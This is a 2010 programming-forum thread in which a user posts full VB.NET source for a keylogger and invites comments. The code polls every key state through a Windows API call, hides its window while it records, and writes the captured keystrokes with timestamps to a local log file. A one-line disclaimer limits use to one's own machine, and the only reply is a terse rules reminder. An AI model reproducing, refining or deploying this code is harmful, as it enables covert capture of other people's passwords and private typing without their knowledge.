Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Reply
 
Thread Tools Display Modes
Old Aug 27th, 2010, 4:41 PM   #1
tylerzemail
Newbie
 
Join Date: Aug 2010
Posts: 1
Rep Power: 0 tylerzemail is on a distinguished road
My keylogger

Here is the source, any ideas?:
btw i chose VB net because it can do the same thing c++ could for key logging much faster.
Option Explicit On
Option Strict On
'Please use for legal purposes and only on your machine, I don not take legal responsibility for your actions.
'I leave the code open source so people can se i'm not keylogging them.
Public Class keyform
    Dim result As Integer
    Dim tb As String
    Dim x As System.IO.StreamWriter
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
        tb = Me.TextBox1.Text
        If IO.File.Exists("keylog.txt") Then
            x = IO.File.AppendText("keylog.txt")
            x.WriteLine("--------------------------------------")
            x.WriteLine(tb)
            x.WriteLine(Date.Today & " " & TimeOfDay)
            x.Close()
        Else
            x = IO.File.CreateText("keylog.txt")
            x.WriteLine("--------------------------------------")
            x.WriteLine(tb)
            x.WriteLine(Date.Today & " " & TimeOfDay)
            x.Close()
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i

    End Sub
    Private Sub closer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles closer1.Tick
        Me.Close()
    End Sub

    Private Sub HowToUseToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles HowToUseToolStripMenuItem.Click
        MessageBox.Show("The reason i included all the source files is so you can look at the code to see im not giving you a virus.")
        MessageBox.Show("To the right of the form is a textbox. Type the time you want to keylog YOUR computer.")
        MessageBox.Show("Once you think the time is up, check the debug folder for a file called keylog.txt  ; In that file will be all that was keylogged.")
        MessageBox.Show("The app will dissappear (SP), dont worry, it's still monitoring")
    End Sub

    Private Sub keylog_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles keylog.Click
        Dim time1, finaltime As Integer
        time1 = CInt(Me.TextBox2.Text)
        finaltime = time1 * 60000
        closer1.Enabled = True
        closer1.Interval = finaltime
        Me.Hide()

    End Sub
End Class

Last edited by Ancient Dragon; Aug 27th, 2010 at 11:08 PM. Reason: add code tags
tylerzemail is offline   Reply With Quote
Old Aug 27th, 2010, 5:14 PM   #2
DaWei
Resident Grouch
 
DaWei's Avatar
 
Join Date: Jun 2005
Posts: 8,368
Rep Power: 19 DaWei will become famous soon enoughDaWei will become famous soon enough
Re: My keylogger

One idea would you read the dam' rules and comply.
__________________
Contributor's Corner:
Politically Incorrect
DaWei on Pointers
DaWei is offline   Reply With Quote
Reply

Bookmarks

« Previous Thread in Forum | Next Thread in Forum »

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
keylogger not working right c2483 Visual Basic .NET 0 Jan 11th, 2010 6:44 PM
Help running Keylogger Ernislovas Python 1 Aug 26th, 2009 4:24 PM
Basic Keylogger question Noobie C++ 36 Nov 9th, 2008 7:30 AM
An OpenSource C Keylogger Klogy 1.0 Dia_Byte Show Off Your Open Source Projects 21 Aug 7th, 2006 11:02 PM
Need a Keylogger Infinite Recursion Coder's Corner Lounge 1 Jul 11th, 2005 10:09 AM




DaniWeb IT Discussion Community
All times are GMT -5. The time now is 11:13 PM.

Powered by vBulletin® Version 3.7.0, Copyright ©2000 - 2014, Jelsoft Enterprises Ltd.
Copyright ©2007 DaniWeb® LLC